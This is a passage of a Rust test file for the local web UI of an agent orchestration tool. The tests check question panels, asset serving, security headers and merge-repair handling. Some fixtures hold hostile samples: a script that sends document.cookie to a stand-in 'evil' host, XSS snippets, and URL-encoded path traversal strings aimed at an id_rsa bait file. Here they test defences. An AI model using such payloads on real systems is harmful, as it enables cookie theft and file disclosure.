9299 seed_performance(&fx, &repos, 10, 0, 10);
9300 let (questions, talks, notices) = tokio::join!(
9301 fx.get("/api/questions"),
9302 fx.get("/api/talks"),
9303 fx.get("/api/notifications")
9304 );
9305 assert_eq!(request_counts(&questions).0, 1);
9306 assert_eq!(request_counts(&talks).0, 2);
9307 assert_eq!(request_counts(¬ices), (0, 0));
9308 }
9309
9310 #[tokio::test]
9311 async fn list_endpoints_large_home_ceiling() {
9312 let (_tmp, repos, fx) = performance_fixture().await;
9313 seed_performance(&fx, &repos, 200, 300, 400);
9314 let mut failures = Vec::new();
9315 for path in [
9318 "/",
9319 "/app.js",
9320 "/app.css",
9321 "/api/questions",
9322 "/api/runs?limit=300",
9323 "/api/queue",
9324 "/api/talks",
9325 "/api/notifications",
9326 "/api/health",
9327 "/api/stats",
9328 "/api/loop",
9329 "/api/settings",
9330 "/api/repos",
9331 ] {
9332 let start = std::time::Instant::now();
9333 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9334 let elapsed = start.elapsed();
9335 eprintln!("{path}: {elapsed:?}");
9336 match result {
9337 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9338 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9339 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9340 }
9341 }
9342 assert!(failures.is_empty(), "{}", failures.join("\n"));
9343 }
9344
9345 struct Res {
9346 status: u16,
9347 headers: String,
9348 head: String,
9353 body: String,
9354 bytes: Vec<u8>,
9358 }
9359
9360 impl Res {
9361 fn json(&self) -> Value {
9362 serde_json::from_str(&self.body)
9363 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9364 }
9365
9366 fn header(&self, name: &str) -> Option<&str> {
9368 self.head.lines().find_map(|line| {
9369 let (key, value) = line.split_once(':')?;
9370 key.trim()
9371 .eq_ignore_ascii_case(name)
9372 .then(|| value.trim_start().trim_end_matches('\r'))
9373 })
9374 }
9375 }
9376
9377 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9380 request_with(addr, method, path, body, &[]).await
9381 }
9382
9383 async fn request_with(
9387 addr: SocketAddr,
9388 method: &str,
9389 path: &str,
9390 body: Option<&str>,
9391 extra: &[(&str, &str)],
9392 ) -> Res {
9393 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9394 for (name, value) in extra {
9395 head.push_str(&format!("{name}: {value}\r\n"));
9396 }
9397 if let Some(body) = body {
9398 head.push_str("Content-Type: application/json\r\n");
9399 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9400 }
9401 head.push_str("\r\n");
9402 if let Some(body) = body {
9403 head.push_str(body);
9404 }
9405 let mut socket = tokio::net::TcpStream::connect(addr)
9406 .await
9407 .expect("connect to the test server");
9408 socket
9409 .write_all(head.as_bytes())
9410 .await
9411 .expect("write request");
9412 let mut raw = Vec::new();
9413 socket.read_to_end(&mut raw).await.expect("read response");
9414 let split = raw
9417 .windows(4)
9418 .position(|w| w == b"\r\n\r\n")
9419 .expect("a header block");
9420 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9421 let bytes = raw[split + 4..].to_vec();
9422 let status = head
9423 .lines()
9424 .next()
9425 .and_then(|line| line.split_whitespace().nth(1))
9426 .and_then(|code| code.parse().ok())
9427 .expect("a status line");
9428 Res {
9429 status,
9430 headers: head.to_lowercase(),
9431 head,
9432 body: String::from_utf8_lossy(&bytes).into_owned(),
9433 bytes,
9434 }
9435 }
9436
9437 async fn request_bytes(
9443 addr: SocketAddr,
9444 path: &str,
9445 headers: &[(&str, &str)],
9446 body: &[u8],
9447 ) -> Res {
9448 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9449 for (name, value) in headers {
9450 head.push_str(&format!("{name}: {value}\r\n"));
9451 }
9452 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9453 let mut socket = tokio::net::TcpStream::connect(addr)
9454 .await
9455 .expect("connect to the test server");
9456 socket
9457 .write_all(head.as_bytes())
9458 .await
9459 .expect("write request head");
9460 socket.write_all(body).await.expect("write request body");
9461 let mut raw = Vec::new();
9462 socket.read_to_end(&mut raw).await.expect("read response");
9463 let split = raw
9464 .windows(4)
9465 .position(|w| w == b"\r\n\r\n")
9466 .expect("a header block");
9467 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9468 let bytes = raw[split + 4..].to_vec();
9469 let status = head
9470 .lines()
9471 .next()
9472 .and_then(|line| line.split_whitespace().nth(1))
9473 .and_then(|code| code.parse().ok())
9474 .expect("a status line");
9475 Res {
9476 status,
9477 headers: head.to_lowercase(),
9478 head,
9479 body: String::from_utf8_lossy(&bytes).into_owned(),
9480 bytes,
9481 }
9482 }
9483
9484 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9486 let mut state = RunState::new(
9487 PathBuf::from("/repo/magi"),
9488 "main".to_owned(),
9489 "0123456789abcdef".to_owned(),
9490 "Add a web UI\n\nMobile first.".to_owned(),
9491 Config::default(),
9492 );
9493 state.id = id.to_owned();
9494 state.status = status;
9495 let dir = runs.join(id);
9496 std::fs::create_dir_all(&dir).expect("run dir");
9497 std::fs::write(
9498 dir.join("run.json"),
9499 serde_json::to_string_pretty(&state).expect("serialize run"),
9500 )
9501 .expect("write run.json");
9502 }
9503
9504 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9508 let mut state = RunState::new(
9509 PathBuf::from(repo),
9510 "main".to_owned(),
9511 "0123456789abcdef".to_owned(),
9512 "task".to_owned(),
9513 Config::default(),
9514 );
9515 state.id = id.to_owned();
9516 state.status = status;
9517 let dir = runs.join(id);
9518 std::fs::create_dir_all(&dir).expect("run dir");
9519 std::fs::write(
9520 dir.join("run.json"),
9521 serde_json::to_string_pretty(&state).expect("serialize run"),
9522 )
9523 .expect("write run.json");
9524 }
9525
9526 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9527 let body = serde_json::json!({
9528 "schema": 1,
9529 "pid": 4242,
9530 "started_at": Timestamp::now().to_string(),
9531 "updated_at": updated_at.to_string(),
9532 "idle": false,
9533 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9534 "completed": 7,
9535 "polls": 143,
9536 });
9537 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9538 }
9539
9540 fn launch_idle(
9550 _opts: daemon::Opts,
9551 stop: daemon::Stop,
9552 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9553 Box::pin(async move {
9554 while !stop.stopped() {
9555 tokio::time::sleep(Duration::from_millis(2)).await;
9556 }
9557 Ok(())
9558 })
9559 }
9560
9561 fn launch_broken(
9564 _opts: daemon::Opts,
9565 _stop: daemon::Stop,
9566 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9567 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9572 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9573 Box::pin(async move {
9574 Err(anyhow::anyhow!(if first {
9575 "publish the daemon status file: read-only file system"
9576 } else {
9577 "the restarted stand-in failed as well"
9578 }))
9579 })
9580 }
9581
9582 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9589 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9590
9591 fn launch_knocking_on_the_way_out(
9598 _opts: daemon::Opts,
9599 stop: daemon::Stop,
9600 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9601 Box::pin(async move {
9602 while !stop.stopped() {
9603 tokio::time::sleep(Duration::from_millis(2)).await;
9604 }
9605 let addr = PARK_KNOCK
9606 .lock()
9607 .expect("park knock")
9608 .expect("the test set an address");
9609 let heard = request(addr, "GET", "/api/health", None).await.status;
9610 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9611 Ok(())
9612 })
9613 }
9614
9615 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9624 for _ in 0..SETTLE_STEPS {
9625 let view = fx.get("/api/loop").await.json();
9626 if want(&view) {
9627 return view;
9628 }
9629 tokio::time::sleep(Duration::from_millis(10)).await;
9630 }
9631 panic!(
9632 "the loop never settled: {}",
9633 fx.get("/api/loop").await.json()
9634 );
9635 }
9636
9637 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9639 let store = fx.questions();
9640 let mut q = Question::new(
9641 "20260902-000000-beef".to_owned(),
9642 "implement".to_owned(),
9643 "impl-A".to_owned(),
9644 summary.to_owned(),
9645 "because it matters".to_owned(),
9646 choices.iter().map(|c| (*c).to_owned()).collect(),
9647 );
9648 store.put(&mut q).expect("put question");
9649 q.id
9650 }
9651
9652 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9658 let store = fx.questions();
9659 let mut q = Question::new(
9660 "20260902-000000-beef".to_owned(),
9661 "land".to_owned(),
9662 "fix".to_owned(),
9663 "Merge this?".to_owned(),
9664 "the diff is in the panel".to_owned(),
9665 vec!["merge".to_owned(), "hold".to_owned()],
9666 );
9667 let staging = fx.home.path().join("staging");
9670 std::fs::create_dir_all(&staging).expect("staging dir");
9671 let sources: Vec<PathBuf> = assets
9672 .iter()
9673 .map(|(name, bytes)| {
9674 let path = staging.join(name);
9675 std::fs::write(&path, bytes).expect("write staged asset");
9676 path
9677 })
9678 .collect();
9679 store
9680 .put_panel(&mut q, html, &sources)
9681 .expect("write the panel");
9682 store.put(&mut q).expect("put question");
9683 q.id
9684 }
9685
9686 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9695 seed_talk_at(&fx.talks(), id, status)
9696 }
9697
9698 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9699 std::fs::create_dir_all(store.root()).expect("talks dir");
9700 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9701 .expect("serialize a seat");
9702 let body = serde_json::json!({
9703 "schema": 1,
9704 "id": id,
9705 "repo": "/repo/magi",
9706 "agent": "mock",
9707 "status": status,
9708 "turns": [],
9709 "created_at": Timestamp::now().to_string(),
9710 "updated_at": Timestamp::now().to_string(),
9711 "seat": seat,
9712 });
9713 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9714 store.get(id).expect("the seeded talk has to be readable");
9715 id.to_owned()
9716 }
9717
9718 #[tokio::test]
9719 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9720 let fx = Fixture::start().await;
9721 let id = panel(
9722 &fx,
9723 "<h1>Merge?</h1><img src=\"diff.svg\">",
9724 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9725 );
9726
9727 for path in [
9728 format!("/api/questions/{id}/panel"),
9729 format!("/api/questions/{id}/asset/diff.svg"),
9730 ] {
9731 let res = fx.get(&path).await;
9732 assert_eq!(res.status, 200, "{path}: {}", res.body);
9733 assert_eq!(
9739 res.header("content-security-policy"),
9740 Some(
9741 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9742 font-src data:; base-uri 'none'; form-action 'none'; \
9743 frame-ancestors 'self'"
9744 ),
9745 "{path} is the only thing between a hostile panel and the tailnet"
9746 );
9747 assert_eq!(
9748 res.header("x-content-type-options"),
9749 Some("nosniff"),
9750 "{path}: a browser must not re-decide the type we sent"
9751 );
9752 assert_eq!(
9753 res.header("referrer-policy"),
9754 Some("no-referrer"),
9755 "{path}: a panel must not leak the question id off the machine"
9756 );
9757
9758 let pre = fx.head(&path).await;
9763 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9764 assert_eq!(
9765 pre.header("content-security-policy"),
9766 res.header("content-security-policy"),
9767 "{path}: the preflight carries the same policy"
9768 );
9769 assert_eq!(
9770 pre.header("content-type"),
9771 res.header("content-type"),
9772 "{path}: the preflight carries the same type"
9773 );
9774 }
9775 }
9776
9777 #[tokio::test]
9778 async fn a_panel_reaches_the_browser_byte_for_byte() {
9779 let fx = Fixture::start().await;
9780 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
9785 let id = panel(&fx, html, &[]);
9786
9787 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9788
9789 assert_eq!(res.status, 200);
9790 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9791 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9792 assert_eq!(
9793 res.header("content-disposition"),
9794 None,
9795 "the panel itself is rendered in the frame, not downloaded"
9796 );
9797 }
9798
9799 #[tokio::test]
9800 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9801 let fx = Fixture::start().await;
9802 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9803 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9804 let id = panel(
9805 &fx,
9806 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9807 &[("diff.svg", svg), ("shot.png", png)],
9808 );
9809
9810 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9811 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9812
9813 assert_eq!(as_svg.status, 200);
9814 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9815 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9820
9821 assert_eq!(as_png.status, 200);
9822 assert_eq!(as_png.header("content-type"), Some("image/png"));
9823 assert_eq!(
9824 as_png.header("content-disposition"),
9825 None,
9826 "a raster image has no execution surface, so tapping it still shows it"
9827 );
9828 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9829 }
9830
9831 #[tokio::test]
9832 async fn an_html_asset_is_never_served_as_html() {
9833 let fx = Fixture::start().await;
9834 let id = panel(
9835 &fx,
9836 "<p>see the notes</p>",
9837 &[
9838 (
9839 "notes.html",
9840 b"<script>fetch('http://evil/'+document.cookie)</script>",
9841 ),
9842 ("hook.js", b"fetch('http://evil/')"),
9843 ("data.json", b"{}"),
9844 ("HEADLINE.TXT", b"plain"),
9845 ],
9846 );
9847
9848 for name in ["notes.html", "hook.js", "data.json"] {
9849 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9850 assert_eq!(res.status, 200, "{name}: {}", res.body);
9851 assert_eq!(
9856 res.header("content-type"),
9857 Some("application/octet-stream"),
9858 "{name} must not be a type the browser will execute or render"
9859 );
9860 }
9861 let txt = fx
9864 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9865 .await;
9866 assert_eq!(
9867 txt.header("content-type"),
9868 Some("text/plain; charset=utf-8")
9869 );
9870 }
9871
9872 #[tokio::test]
9873 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9874 let fx = Fixture::start().await;
9875 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9876 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9880
9881 for encoded in [
9888 "%2e%2e%2fid_rsa",
9889 "..%2fid_rsa",
9890 "..%5cid_rsa",
9891 "%2e%2e%5cid_rsa",
9892 "diff%00.svg",
9893 "..",
9894 ".hidden",
9895 "%2e%2e%2f%2e%2e%2fid_rsa",
9896 ] {
9897 let res = fx
9898 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9899 .await;
9900 assert_eq!(
9901 res.status, 400,
9902 "`{encoded}` has to be refused by name, not looked up: {}",
9903 res.body
9904 );
9905 assert!(res.json()["error"].is_string(), "{}", res.body);
9906 }
9907
9908 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9914 let res = fx
9915 .get(&format!("/api/questions/{id}/asset/{literal}"))
9916 .await;
9917 assert_eq!(
9918 res.status, 404,
9919 "`{literal}` must not match the asset route at all: {}",
9920 res.body
9921 );
9922 }
9923 }
9924
9925 #[tokio::test]
9926 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9927 let fx = Fixture::start().await;
9928 let plain = ask(&fx, "Which backend?", &["SQLite"]);
9929 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9930
9931 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9935 assert_eq!(none.status, 404, "{}", none.body);
9936 assert!(none.json()["error"].is_string(), "{}", none.body);
9937 assert_eq!(
9938 fx.head(&format!("/api/questions/{plain}/panel"))
9939 .await
9940 .status,
9941 404,
9942 "the preflight is the only way the client can learn this"
9943 );
9944
9945 let missing = fx
9947 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9948 .await;
9949 assert_eq!(missing.status, 404, "{}", missing.body);
9950 assert!(missing.json()["error"].is_string(), "{}", missing.body);
9951
9952 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9954 assert_eq!(
9955 fx.get("/api/questions/nope/asset/diff.svg").await.status,
9956 404
9957 );
9958 }
9959
9960 #[tokio::test]
9961 async fn a_run_with_an_open_question_reads_as_waiting() {
9962 let fx = Fixture::start().await;
9963 let run = "20260902-000000-beef".to_owned();
9964 write_run(&fx.runs(), &run, RunStatus::Implementing);
9965
9966 let before = fx.get("/api/runs").await.json();
9967 assert_eq!(before[0]["waiting"], false, "{before}");
9968
9969 let store = fx.questions();
9970 let mut q = Question::new(
9971 run.clone(),
9972 "implement".to_owned(),
9973 "impl-A".to_owned(),
9974 "Which backend?".to_owned(),
9975 String::new(),
9976 vec!["SQLite".to_owned()],
9977 );
9978 store.put(&mut q).expect("put");
9979
9980 let during = fx.get("/api/runs").await.json();
9981 assert_eq!(during[0]["waiting"], true, "{during}");
9982
9983 q.answer(Answer::Choice("SQLite".to_owned()))
9986 .expect("answer");
9987 store.put(&mut q).expect("put");
9988 let after = fx.get("/api/runs").await.json();
9989 assert_eq!(after[0]["waiting"], false, "{after}");
9990 }
9991
9992 #[tokio::test]
9993 async fn an_open_question_is_listed_and_counted_by_health() {
9994 let fx = Fixture::start().await;
9995 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9996
9997 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9998 let listed = fx.get("/api/questions").await.json();
9999 assert_eq!(listed.as_array().expect("array").len(), 1);
10000 assert_eq!(listed[0]["id"], id);
10001 assert_eq!(listed[0]["status"], "open");
10002 assert_eq!(listed[0]["choices"][1], "Redis");
10003 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10006 }
10007
10008 #[tokio::test]
10009 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10010 let fx = Fixture {
10011 home: TempDir::new().unwrap(),
10012 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10013 };
10014 let mut state = crate::land::tests::repair_state(true, true);
10015 state.status = RunStatus::Landing;
10016 state.parked = true;
10017 state.driver_exited = true;
10018 let mut task = Task::new(
10019 "Existing PR owner".into(),
10020 state.instruction.clone(),
10021 state.repo.clone(),
10022 Source::Human,
10023 );
10024 task.runs.push(state.id.clone());
10025 task.status = TaskStatus::Parked;
10026 fx.queue().put(&mut task).unwrap();
10027 let mut q = Question::new(
10028 state.id.clone(),
10029 crate::land::APPROVAL_NODE.into(),
10030 "land".into(),
10031 "Contested merge".into(),
10032 "Original evidence".into(),
10033 vec!["merge".into(), "hold".into()],
10034 );
10035 state.land_approval = Some(crate::run::LandApproval {
10036 question: q.id.clone(),
10037 head: "reviewed-head".into(),
10038 });
10039 state.save_under(fx.home.path()).unwrap();
10040 fx.questions().put(&mut q).unwrap();
10041 task.hold_manual(Some("Pause this PR".into()));
10043 fx.queue().put(&mut task).unwrap();
10044 let ui = Arc::new(Ui::new(
10047 fx.queue(),
10048 fx.questions(),
10049 fx.talks(),
10050 fx.runs(),
10051 fx.home.path().to_path_buf(),
10052 state.repo.clone(),
10053 ));
10054 let response = question_answer(
10055 State(ui),
10056 Path(q.id.clone()),
10057 Ok(Json(NewAnswer {
10058 choice: Some(crate::land::REPAIR.into()),
10059 text: None,
10060 })),
10061 )
10062 .await
10063 .unwrap();
10064 assert_eq!(response.0.question.id, q.id);
10065 let upgraded = fx.questions().get(&q.id).unwrap();
10066 assert_eq!(
10067 upgraded.choices,
10068 [crate::land::APPROVE, crate::land::HOLD, crate::land::REPAIR]
10069 );
10070 assert!(upgraded.detail.starts_with("Original evidence"));
10071 let claim = fx.queue().claim(&task.id).unwrap();
10072 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10073 assert!(
10074 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
10075 "an existing driver keeps its claim"
10076 );
10077 drop(claim);
10078 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10079 let resumed = fx.queue().get(&task.id).unwrap();
10080 assert_eq!(
10081 resumed
10082 .resume_override
10083 .as_ref()
10084 .unwrap()
10085 .pinned_run
10086 .as_deref(),
10087 Some(state.id.as_str())
10088 );
10089 assert!(resumed.status.runnable());
10090 assert_eq!(resumed.instruction, task.instruction);
10091 assert_eq!(resumed.runs, task.runs);
10092 assert!(resumed.action_applied(&q.id));
10093 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10094 assert_eq!(fx.queue().list().len(), 1);
10095 assert_eq!(
10096 fx.queue().get(&task.id).unwrap().resume_override,
10097 resumed.resume_override
10098 );
10099 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10100 assert!(
10101 disk.merge_repairs.is_empty(),
10102 "only the claimed run driver may execute repair"
10103 );
10104 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
10105 }
10106
10107 #[tokio::test]
10108 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
10109 let fx = Fixture::start().await;
10110 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10111 let path = format!("/api/questions/{id}/answer");
10112
10113 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
10114 assert_eq!(res.status, 200, "{}", res.body);
10115 let body = res.json();
10116 assert_eq!(body["status"], "answered");
10117 assert_eq!(body["answer"]["choice"], "Redis");
10118
10119 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
10123 assert_eq!(again.status, 409, "{}", again.body);
10124 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10125 }
10126
10127 #[tokio::test]
10128 async fn saying_something_appends_a_turn_without_answering() {
10129 let fx = Fixture::start().await;
10130 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10131 let path = format!("/api/questions/{id}/say");
10132
10133 let res = fx
10134 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
10135 .await;
10136 assert_eq!(res.status, 200, "{}", res.body);
10137 let body = res.json();
10138 assert_eq!(body["status"], "open", "talking back is not a decision");
10139 assert_eq!(body["answer"], Value::Null);
10140 assert_eq!(body["thread"][0]["who"], "operator");
10141 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
10142 assert_eq!(body["waiting_on_agent"], true);
10143 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10145 }
10146
10147 #[tokio::test]
10148 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
10149 let fx = Fixture::start().await;
10150 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10151
10152 let list = fx.get("/api/questions").await.json();
10153 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
10154
10155 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
10156 assert_eq!(res.status, 409, "{}", res.body);
10157 let q = fx.questions().get(&id).unwrap();
10158 assert!(q.status.open());
10159 assert!(q.consult.is_none());
10160 }
10161
10162 #[tokio::test]
10163 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
10164 let fx = Fixture::start().await;
10165 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10166 let cfg = Config {
10167 agents: vec![crate::config::AgentSpec {
10168 id: "mock".to_owned(),
10169 kind: crate::config::AgentKind::Command,
10170 model: None,
10171 command: vec!["true".to_owned()],
10172 extra_args: Vec::new(),
10173 env: Default::default(),
10174 prompt_delivery: None,
10175 }],
10176 ..Config::default()
10177 };
10178 let talk = crate::talk::begin(
10179 &fx.talks(),
10180 &cfg,
10181 fx.home.path().to_path_buf(),
10182 Some("mock"),
10183 )
10184 .unwrap();
10185 let mut task = Task::new(
10186 "t".to_owned(),
10187 "Do it".to_owned(),
10188 PathBuf::from("/repo/magi"),
10189 Source::Agent {
10190 run: talk.id.clone(),
10191 node: crate::queue::CHAT_NODE.to_owned(),
10192 },
10193 );
10194 task.start("20260902-000000-beef".to_owned());
10195 fx.queue().put(&mut task).unwrap();
10196
10197 let list = fx.get("/api/questions").await.json();
10198 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10199 assert_eq!(
10200 list[0]["choices"],
10201 serde_json::json!(["SQLite", "Redis"]),
10202 "the hand-over is never a choice"
10203 );
10204 fx.questions()
10205 .update(&id, |q| {
10206 q.node = crate::land::APPROVAL_NODE.into();
10207 q.choices = vec!["merge".into(), "hold".into()];
10208 Ok(())
10209 })
10210 .unwrap();
10211 let list = fx.get("/api/questions").await.json();
10212 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10213 assert_eq!(list[0]["can_consult_chat"], true);
10214 fx.questions()
10215 .update(&id, |q| {
10216 q.node = crate::bump::NOTICE_NODE.into();
10217 Ok(())
10218 })
10219 .unwrap();
10220 let list = fx.get("/api/questions").await.json();
10221 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10222 assert_eq!(list[0]["can_consult_chat"], false);
10223 }
10224
10225 #[tokio::test]
10226 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
10227 let fx = Fixture::start().await;
10228 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10229 fx.questions()
10230 .update(&id, |q| {
10231 q.node = crate::land::APPROVAL_NODE.into();
10232 q.choices = vec!["merge".into(), "hold".into()];
10233 Ok(())
10234 })
10235 .unwrap();
10236 let cfg = Config {
10237 agents: vec![crate::config::AgentSpec {
10238 id: "mock".to_owned(),
10239 kind: crate::config::AgentKind::Command,
10240 model: None,
10241 command: vec!["true".to_owned()],
10242 extra_args: Vec::new(),
10243 env: Default::default(),
10244 prompt_delivery: None,
10245 }],
10246 ..Config::default()
10247 };
10248 let repo = fx.home.path().join("chat-repo");
10250 std::fs::create_dir_all(&repo).unwrap();
10251 let toml = repo.join("magi.toml");
10252 std::fs::write(&toml, "this is = = not toml").unwrap();
10253 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
10254 let mut task = Task::new(
10255 "t".to_owned(),
10256 "Do it".to_owned(),
10257 PathBuf::from("/repo/magi"),
10258 Source::Agent {
10259 run: talk.id.clone(),
10260 node: crate::queue::CHAT_NODE.to_owned(),
10261 },
10262 );
10263 task.start("20260902-000000-beef".to_owned());
10264 fx.queue().put(&mut task).unwrap();
10265
10266 let path = format!("/api/questions/{id}/consult");
10267 let res = fx.post(&path, None).await;
10268 assert!(res.status >= 400, "{}", res.body);
10269 assert!(fx.questions().get(&id).unwrap().consult.is_none());
10270 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
10271
10272 std::fs::write(&toml, "").unwrap();
10273 let res = fx.post(&path, None).await;
10274 assert_eq!(res.status, 202, "{}", res.body);
10275 assert!(fx.questions().get(&id).unwrap().consult.is_some());
10276 let q = fx.questions().get(&id).unwrap();
10277 assert!(q.status.open());
10278 assert!(q.answer.is_none());
10279 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
10280 assert_eq!(res.json()["can_consult_chat"], true);
10281 let list = fx.get("/api/questions").await.json();
10282 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10283 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
10284
10285 let res = fx
10286 .post(
10287 &format!("/api/questions/{id}/answer"),
10288 Some(r#"{"choice":"hold"}"#),
10289 )
10290 .await;
10291 assert_eq!(res.status, 200, "{}", res.body);
10292 assert_eq!(res.json()["answer"]["choice"], "hold");
10293 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
10294 assert_eq!(res.json()["can_consult_chat"], false);
10295 assert_eq!(fx.post(&path, None).await.status, 409);
10296
10297 let mut talk = fx.talks().get(&talk.id).unwrap();
10298 crate::talk::close(&mut talk, &fx.talks()).unwrap();
10299 let list = fx.get("/api/questions").await.json();
10300 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10301 assert_eq!(list[0]["origin_chat_closed"], true);
10302 assert_eq!(list[0]["can_consult_chat"], false);
10303
10304 fx.talks().remove(&talk.id).unwrap();
10305 let list = fx.get("/api/questions").await.json();
10306 assert_eq!(list[0]["origin_chat"], Value::Null);
10307 assert_eq!(list[0]["origin_chat_closed"], false);
10308 assert_eq!(list[0]["can_consult_chat"], false);
10309 }
10310
10311 #[tokio::test]
10312 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
10313 let fx = Fixture::start().await;
10314 let store = fx.questions();
10315 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10316 assert_eq!(
10317 fx.get("/api/health").await.json()["questions_needs_owner"],
10318 1
10319 );
10320
10321 let res = fx
10327 .post(
10328 &format!("/api/questions/{id}/say"),
10329 Some(r#"{"body":"why not Postgres?"}"#),
10330 )
10331 .await;
10332 assert_eq!(res.status, 200, "{}", res.body);
10333 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10334 assert_eq!(
10335 fx.get("/api/health").await.json()["questions_needs_owner"],
10336 0,
10337 "waiting on the agent is not waiting on the owner"
10338 );
10339
10340 let mut q = store.get(&id).expect("get");
